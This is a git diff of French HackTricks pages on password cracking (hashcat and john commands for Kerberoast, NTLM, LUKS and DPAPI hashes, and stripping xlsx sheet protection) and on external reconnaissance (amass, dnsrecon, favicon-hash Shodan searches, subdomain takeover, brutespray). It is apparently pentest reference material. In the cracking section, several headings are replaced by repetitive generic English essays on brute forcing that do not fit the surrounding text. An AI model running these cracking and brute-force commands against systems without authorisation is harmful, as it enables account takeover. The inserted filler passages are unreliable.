passwords_kerb.txt @@ -563,7 +789,7 @@ hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt #### Méthode 1 -Installation : [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) +Installer : [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen @@ -596,16 +822,16 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
-### Clé principale DPAPI +### Clé maître DPAPI Utilisez [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) puis john -### Colonne protégée par mot de passe Open Office +### Colonne protégée par mot de passe dans Open Office Si vous avez un fichier xlsx avec une colonne protégée par un mot de passe, vous pouvez la déprotéger : -* **Téléchargez-la sur Google Drive** et le mot de passe sera automatiquement supprimé -* Pour **retirer** le mot de passe **manuellement** : +* **Téléchargez-le sur Google Drive** et le mot de passe sera automatiquement supprimé +* Pour le **supprimer** **manuellement** : ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -624,8 +850,8 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des flux de travail** facilement, alimentés par les outils communautaires **les plus avancés** au monde.\ -Obtenez l'accès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -633,7 +859,7 @@ Obtenez l'accès aujourd'hui : **Exemples de hash :** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) -### Hash-identifier +### Identification de hash ```bash hash-identifier > @@ -643,15 +869,15 @@ hash-identifier * **Rockyou** * [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) * [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) -* [**Seclists - Mots de passe**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) +* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) ### **Outils de génération de listes de mots** -* [**kwprocessor**](https://github.com/hashcat/kwprocessor)** :** Générateur avancé de parcours clavier avec caractères de base, carte de clavier et itinéraires configurables. +* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Générateur avancé de séquences de touches avec des caractères de base configurables, une disposition de touches et des itinéraires. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` -### Mutation John +### Mutation de John Lisez _**/etc/john/john.conf**_ et configurez-le ```bash @@ -662,16 +888,16 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules #### Attaques Hashcat -* **Attaque par liste de mots** (`-a 0`) avec règles +* **Attaque par liste de mots** (`-a 0`) avec des règles -**Hashcat** est déjà fourni avec un **dossier contenant des règles** mais vous pouvez trouver [**d'autres règles intéressantes ici**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). +**Hashcat** est déjà livré avec un **dossier contenant des règles** mais vous pouvez trouver [**d'autres règles intéressantes ici**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` -* **Attaque par combinaison de wordlist** +* **Attaque de combinaison de listes de mots** -Il est possible de **combiner 2 wordlists en 1** avec hashcat.\ -Si la liste 1 contient le mot **"hello"** et la seconde contient 2 lignes avec les mots **"world"** et **"earth"**. Les mots `helloworld` et `helloearth` seront générés. +Il est possible de **combiner 2 listes de mots en 1** avec hashcat.\ +Si la liste 1 contenait le mot **"hello"** et que la seconde contenait 2 lignes avec les mots **"world"** et **"earth"**. Les mots `helloworld` et `helloearth` seront générés. ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -726,19 +952,75 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` -### Craquage de Hashes Linux - fichier /etc/shadow +## Brute Forcing + +### Dictionary Attack + +A dictionary attack involves using a wordlist to crack passwords. This method is more efficient than a brute force attack as it only tries words from the wordlist, saving time and resources. + +### Brute Force Attack + +A brute force attack involves trying all possible combinations of characters until the correct password is found. This method is time-consuming and resource-intensive but can be effective against complex passwords. + +### Rainbow Tables + +Rainbow tables are precomputed tables used to crack password hashes. They are effective for cracking passwords quickly by looking up precomputed hashes in the table. + +### Hashcat + +Hashcat is a popular password cracking tool that supports various hashing algorithms and attack types, including brute force and dictionary attacks. It can be used to crack Linux hashes stored in the `/etc/shadow` file. ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` -### Craquage des Hashes Windows +# Brute Force + +## Introduction + +Brute force attacks are a common way to crack passwords. This method involves trying all possible combinations of characters until the correct password is found. Brute force attacks can be time-consuming but are often successful. + +## Tools + +There are many tools available for conducting brute force attacks, such as Hydra, Medusa, and John the Ripper. These tools can be customized to target specific services and protocols. + +## Windows Hashes + +When cracking Windows hashes, tools like Hashcat and John the Ripper can be used. These tools support various hash algorithms used by Windows, such as NTLM and LM hashes. + +## Techniques + +Brute force attacks can be optimized by using techniques like password spraying, where a common password is tried across multiple accounts, or by using wordlists to narrow down the possible password combinations. + +## Conclusion + +Brute force attacks can be a powerful method for cracking passwords, especially when other methods fail. It is important to use these techniques responsibly and ethically. ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` -### Craquage des hachages d'applications courantes +## Brute-Force + +### Introduction + +Brute-force attacks are a common method used to crack hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute-forcing is often used when other methods, such as dictionary attacks, fail to crack the hash. + +### Tools + +There are various tools available for performing brute-force attacks, such as Hashcat, John the Ripper, and Hydra. These tools allow you to specify the character set, length of the password, and other parameters to customize the brute-force attack. + +### Methodology + +1. **Select Hash Algorithm**: Determine the hash algorithm used to generate the hash. +2. **Generate Wordlist**: Create a wordlist containing possible passwords. +3. **Configure Brute-Force Tool**: Set up the brute-force tool with the hash, wordlist, and any other parameters. +4. **Initiate Attack**: Start the brute-force attack and wait for the tool to find the correct password. +5. **Optimize**: Adjust parameters such as character set and password length to optimize the attack. + +### Conclusion + +Brute-force attacks can be time-consuming but are effective in cracking common application hashes. By using the right tools and techniques, you can successfully recover passwords from hashed data. ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash @@ -752,20 +1034,20 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM" Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés**.\ -Accédez-y dès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index 205af88b3..14fa90d20 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,57 +1,57 @@ -# Méthodologie de Reconnaissance Externe +# Méthodologie de reconnaissance externe
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
\ -**Conseil pour les bug bounties** : **inscrivez-vous** sur **Intigriti**, une plateforme premium de **bug bounties créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des bounties allant jusqu'à **100 000 $** ! +**Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des pirates informatiques, pour des pirates informatiques ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! {% embed url="https://go.intigriti.com/hacktricks" %} -## Découverte d'actifs +## Découvertes d'actifs -> On vous a dit que tout ce qui appartient à une certaine entreprise est dans le périmètre, et vous voulez déterminer ce que cette entreprise possède réellement. +> On vous a dit que tout ce qui appartient à une entreprise est inclus dans le périmètre, et vous voulez savoir ce que possède réellement cette entreprise. -L'objectif de cette phase est d'obtenir toutes les **entreprises possédées par l'entreprise principale** puis tous les **actifs** de ces entreprises. Pour ce faire, nous allons : +L'objectif de cette phase est d'obtenir toutes les **entreprises appartenant à l'entreprise principale** puis tous les **actifs** de ces entreprises. Pour ce faire, nous allons : -1. Trouver les acquisitions de l'entreprise principale, cela nous donnera les entreprises dans le périmètre. -2. Trouver l'ASN (s'il y en a) de chaque entreprise, cela nous donnera les plages d'IP possédées par chaque entreprise. -3. Utiliser des recherches inversées de whois pour chercher d'autres entrées (noms d'organisations, domaines...) liées à la première (cela peut être fait de manière récursive). -4. Utiliser d'autres techniques comme les filtres `org` et `ssl` de shodan pour rechercher d'autres actifs (l'astuce `ssl` peut être faite de manière récursive). +1. Trouver les acquisitions de l'entreprise principale, cela nous donnera les entreprises incluses dans le périmètre. +2. Trouver l'ASN (le cas échéant) de chaque entreprise, cela nous donnera les plages d'IP possédées par chaque entreprise. +3. Utiliser des recherches whois inversées pour rechercher d'autres entrées (noms d'organisation, domaines...) liées à la première (cela peut être fait de manière récursive). +4. Utiliser d'autres techniques comme les filtres shodan `org` et `ssl` pour rechercher d'autres actifs (le truc `ssl` peut être fait de manière récursive). ### **Acquisitions** -Tout d'abord, nous devons savoir quelles **autres entreprises sont possédées par l'entreprise principale**.\ -Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **rechercher** l'**entreprise principale**, et **cliquer** sur "**acquisitions**". Là, vous verrez d'autres entreprises acquises par la principale.\ -Une autre option est de visiter la page **Wikipedia** de l'entreprise principale et de rechercher les **acquisitions**. +Tout d'abord, nous devons savoir quelles **autres entreprises sont détenues par l'entreprise principale**.\ +Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **rechercher** l'**entreprise principale**, et **cliquer** sur "**acquisitions**". Vous verrez là d'autres entreprises acquises par la principale.\ +Une autre option est de visiter la page **Wikipedia** de l'entreprise principale et rechercher les **acquisitions**. -> Ok, à ce stade, vous devriez connaître toutes les entreprises dans le périmètre. Voyons comment trouver leurs actifs. +> À ce stade, vous devriez connaître toutes les entreprises incluses dans le périmètre. Voyons comment trouver leurs actifs. ### **ASNs** Un numéro de système autonome (**ASN**) est un **numéro unique** attribué à un **système autonome** (AS) par l'**Internet Assigned Numbers Authority (IANA)**.\ -Un **AS** consiste en des **blocs** d'**adresses IP** qui ont une politique clairement définie pour l'accès aux réseaux externes et sont administrés par une seule organisation mais peuvent être composés de plusieurs opérateurs. +Un **AS** se compose de **blocs** d'**adresses IP** qui ont une politique d'accès aux réseaux externes clairement définie et sont administrés par une seule organisation mais peuvent être composés de plusieurs opérateurs. -Il est intéressant de savoir si l'**entreprise a un ASN attribué** pour trouver ses **plages d'IP.** Il sera intéressant de réaliser un **test de vulnérabilité** contre tous les **hôtes** à l'intérieur du **périmètre** et **rechercher des domaines** à l'intérieur de ces IPs.\ -Vous pouvez **rechercher** par **nom d'entreprise**, par **IP** ou par **domaine** sur [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**Selon la région de l'entreprise, ces liens pourraient être utiles pour recueillir plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique Latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). De toute façon, probablement toutes les** informations utiles **(plages d'IP et Whois)** apparaissent déjà dans le premier lien. +Il est intéressant de savoir si l'**entreprise a attribué un ASN** pour trouver ses **plages d'IP**. Il sera intéressant d'effectuer un **test de vulnérabilité** contre tous les **hôtes** dans le **périmètre** et de rechercher des domaines à l'intérieur de ces adresses IP.\ +Vous pouvez **rechercher** par **nom d'entreprise**, par **IP** ou par **domaine** dans [**https://bgp.he.net/**](https://bgp.he.net)**.**\ +**Selon la région de l'entreprise, ces liens pourraient être utiles pour recueillir plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages d'IP et Whois)** apparaissent déjà dans le premier lien. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` -Aussi, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** l'énumération des sous-domaines agrège et résume automatiquement les ASNs à la fin du scan. +De plus, l'énumération des sous-domaines de [**BBOT**](https://github.com/blacklanternsecurity/bbot) agrège automatiquement et résume les ASN à la fin de l'analyse. ```bash bbot -t tesla.com -f subdomain-enum ... @@ -68,59 +68,59 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` -Vous pouvez également trouver les plages d'IP d'une organisation en utilisant [http://asnlookup.com/](http://asnlookup.com) (il dispose d'une API gratuite). +Vous pouvez trouver les plages d'adresses IP d'une organisation en utilisant également [http://asnlookup.com/](http://asnlookup.com) (il dispose d'une API gratuite).\ Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com/](http://ipv4info.com). ### **Recherche de vulnérabilités** -À ce stade, nous connaissons **tous les actifs dans le périmètre**, donc si vous êtes autorisé, vous pourriez lancer certains **scanners de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\ -De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et en fonction de ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment réaliser des tests d'intrusion sur plusieurs services possibles en cours d'exécution.\ -**Il pourrait également être utile de mentionner que vous pouvez également préparer des listes de** noms d'utilisateur **et de** mots de passe **par défaut et essayer de** forcer brutalement les services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +À ce stade, nous connaissons **tous les actifs dans le périmètre**, donc si vous y êtes autorisé, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\ +De plus, vous pourriez lancer des [**analyses de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et en fonction de ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment effectuer des tests d'intrusion sur plusieurs services possibles en cours d'exécution.\ +**De plus, il pourrait être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur par défaut **et de** mots de passe **et essayer de** forcer l'accès aux services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). ## Domaines > Nous connaissons toutes les entreprises dans le périmètre et leurs actifs, il est temps de trouver les domaines dans le périmètre. -_Veuillez noter que dans les techniques proposées suivantes, vous pouvez également trouver des sous-domaines et que cette information ne doit pas être sous-estimée._ +_Veuillez noter que dans les techniques proposées suivantes, vous pouvez également trouver des sous-domaines et ces informations ne doivent pas être sous-estimées._ -Tout d'abord, vous devriez rechercher le(s) **domaine principal**(aux) de chaque entreprise. Par exemple, pour _Tesla Inc._, ce sera _tesla.com_. +Tout d'abord, vous devriez rechercher le(s) **domaine(s) principal(aux)** de chaque entreprise. Par exemple, pour _Tesla Inc._ ce sera _tesla.com_. ### **DNS inversé** -Comme vous avez trouvé toutes les plages d'IP des domaines, vous pourriez essayer d'effectuer des **recherches DNS inversées** sur ces **IP pour trouver plus de domaines dans le périmètre**. Essayez d'utiliser un serveur DNS de la victime ou un serveur DNS bien connu (1.1.1.1, 8.8.8.8) +Une fois que vous avez trouvé toutes les plages d'adresses IP des domaines, vous pourriez essayer d'effectuer des **recherches DNS inversées** sur ces **IP pour trouver d'autres domaines dans le périmètre**. Essayez d'utiliser un serveur DNS de la victime ou un serveur DNS bien connu (1.1.1.1, 8.8.8.8) ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` -Pour que cela fonctionne, l'administrateur doit activer manuellement le PTR. -Vous pouvez également utiliser un outil en ligne pour cette information : [http://ptrarchive.com/](http://ptrarchive.com) +Pour que cela fonctionne, l'administrateur doit activer manuellement le PTR.\ +Vous pouvez également utiliser un outil en ligne pour ces informations : [http://ptrarchive.com/](http://ptrarchive.com) ### **Reverse Whois (boucle)** -Dans un **whois**, vous pouvez trouver beaucoup d'**informations** intéressantes comme le **nom de l'organisation**, **l'adresse**, **les emails**, les numéros de téléphone... Mais ce qui est encore plus intéressant, c'est que vous pouvez trouver **davantage d'actifs liés à l'entreprise** si vous effectuez des **recherches inversées de whois par l'un de ces champs** (par exemple, d'autres registres de whois où le même email apparaît). -Vous pouvez utiliser des outils en ligne tels que : +À l'intérieur d'un **whois**, vous pouvez trouver beaucoup d'**informations intéressantes** telles que le **nom de l'organisation**, l'**adresse**, les **emails**, les numéros de téléphone... Mais ce qui est encore plus intéressant, c'est que vous pouvez trouver **d'autres actifs liés à l'entreprise** si vous effectuez des **recherches de reverse whois par l'un de ces champs** (par exemple, d'autres registres whois où le même email apparaît).\ +Vous pouvez utiliser des outils en ligne comme : * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuit** * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratuit** * [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratuit** -* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratuit** sur le web, pas gratuit pour l'API. -* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Payant -* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Payant (seulement **100 recherches gratuites**) -* [https://www.domainiq.com/](https://www.domainiq.com) - Payant +* [https://www.whoxy.com/](https://www.whoxy.com) - Web **gratuit**, API non gratuite. +* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Non gratuit +* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Non gratuit (seulement **100 recherches gratuites**) +* [https://www.domainiq.com/](https://www.domainiq.com) - Non gratuit -Vous pouvez automatiser cette tâche en utilisant [**DomLink**](https://github.com/vysecurity/DomLink) (nécessite une clé API whoxy). -Vous pouvez également effectuer une découverte automatique de whois inversé avec [amass](https://github.com/OWASP/Amass) : `amass intel -d tesla.com -whois` +Vous pouvez automatiser cette tâche en utilisant [**DomLink** ](https://github.com/vysecurity/DomLink)(nécessite une clé API whoxy).\ +Vous pouvez également effectuer une découverte automatique de reverse whois avec [amass](https://github.com/OWASP/Amass) : `amass intel -d tesla.com -whois` **Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine chaque fois que vous trouvez un nouveau domaine.** ### **Trackers** -Si vous trouvez **le même ID du même tracker** sur 2 pages différentes, vous pouvez supposer que **les deux pages** sont **gérées par la même équipe**. +Si vous trouvez le **même ID du même tracker** sur 2 pages différentes, vous pouvez supposer que **les deux pages** sont **gérées par la même équipe**.\ Par exemple, si vous voyez le même **ID Google Analytics** ou le même **ID Adsense** sur plusieurs pages. -Il existe des pages et des outils qui vous permettent de rechercher par ces trackers et plus encore : +Il existe des pages et des outils qui vous permettent de rechercher ces trackers et plus encore : * [**Udon**](https://github.com/dhn/udon) * [**BuiltWith**](https://builtwith.com) @@ -130,18 +130,16 @@ Il existe des pages et des outils qui vous permettent de rechercher par ces trac ### **Favicon** -Saviez-vous que nous pouvons trouver des domaines et sous-domaines liés à notre cible en recherchant le même hash d'icône favicon ? C'est exactement ce que fait l'outil [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) créé par [@m4ll0k2](https://twitter.com/m4ll0k2). Voici comment l'utiliser : +Saviez-vous que nous pouvons trouver des domaines et sous-domaines liés à notre cible en recherchant le même hash d'icône favicon ? C'est exactement ce que l'outil [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) créé par [@m4ll0k2](https://twitter.com/m4ll0k2) fait. Voici comment l'utiliser : ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` -```markdown -![favihash - découvrir des domaines avec le même hash d'icône favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) +![favihash - découvrir les domaines avec le même hachage d'icône favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -En termes simples, favihash nous permettra de découvrir des domaines qui ont le même hash d'icône favicon que notre cible. +En termes simples, favihash nous permettra de découvrir les domaines qui ont le même hachage d'icône favicon que notre cible. -De plus, vous pouvez également rechercher des technologies en utilisant le hash de favicon comme expliqué dans [**ce billet de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Cela signifie que si vous connaissez le **hash du favicon d'une version vulnérable d'une technologie web** vous pouvez rechercher dans shodan et **trouver plus d'endroits vulnérables** : -``` +De plus, vous pouvez également rechercher des technologies en utilisant le hachage de l'icône favicon comme expliqué dans [**cet article de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Cela signifie que si vous connaissez le **hachage de l'icône favicon d'une version vulnérable d'une technologie web**, vous pouvez rechercher si dans shodan et **trouver plus d'endroits vulnérables**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` @@ -158,9 +156,9 @@ fhash = mmh3.hash(favicon) print(f"{url} : {fhash}") return fhash ``` -### **Droit d'auteur / Chaîne unique** +### **Droits d'auteur / Chaîne unique** -Recherchez dans les pages web **des chaînes qui pourraient être partagées entre différents sites au sein de la même organisation**. La **chaîne de droit d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne dans **Google**, dans d'autres **navigateurs** ou même dans **Shodan** : `shodan search http.html:"Copyright string"` +Recherchez à l'intérieur des pages web des **chaînes qui pourraient être partagées sur différents sites web de la même organisation**. La **chaîne de droits d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne sur **Google**, dans d'autres **navigateurs** ou même dans **Shodan**: `shodan search http.html:"Chaîne de droits d'auteur"` ### **Heure CRT** @@ -171,33 +169,33 @@ Il est courant d'avoir une tâche cron telle que ``` ### **Prise de contrôle passive** -Il semble courant que les gens attribuent des sous-domaines à des adresses IP appartenant à des fournisseurs de cloud et finissent par **perdre cette adresse IP mais oublient de supprimer l'enregistrement DNS**. Par conséquent, en lançant simplement une **VM** dans un cloud (comme Digital Ocean), vous allez en fait **prendre le contrôle de certains sous-domaines**. +Apparemment, il est courant que les gens attribuent des sous-domaines à des adresses IP appartenant à des fournisseurs de cloud et à un moment donné **perdent cette adresse IP mais oublient de supprimer l'enregistrement DNS**. Par conséquent, simplement **lancer une VM** dans un cloud (comme Digital Ocean) vous permettra en fait de **prendre le contrôle de certains sous-domaines**. -[**Cet article**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **lance une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine et **cherche dans Virustotal des enregistrements de sous-domaines** pointant vers celle-ci. +[**Ce post**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **démarre une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine, et **recherche dans Virustotal les enregistrements de sous-domaines** pointant vers elle. ### **Autres méthodes** -**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaines chaque fois que vous trouvez un nouveau domaine.** +**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine à chaque fois que vous trouvez un nouveau domaine.** **Shodan** Comme vous connaissez déjà le nom de l'organisation possédant l'espace IP. Vous pouvez rechercher ces données dans shodan en utilisant : `org:"Tesla, Inc."` Vérifiez les hôtes trouvés pour de nouveaux domaines inattendus dans le certificat TLS. -Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir le **nom de l'Organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues par **shodan** avec le filtre : `ssl:"Tesla Motors"` ou utiliser un outil comme [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir le **nom de l'organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues par **shodan** avec le filtre : `ssl:"Tesla Motors"` ou utiliser un outil comme [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder) est un outil qui recherche des **domaines liés** à un domaine principal et leurs **sous-domaines**, assez incroyable. +[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) est un outil qui recherche des **domaines associés** à un domaine principal et leurs **sous-domaines**, assez incroyable. ### **Recherche de vulnérabilités** -Vérifiez s'il y a une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais a **perdu la propriété**. Enregistrez-le (si le prix est assez bas) et 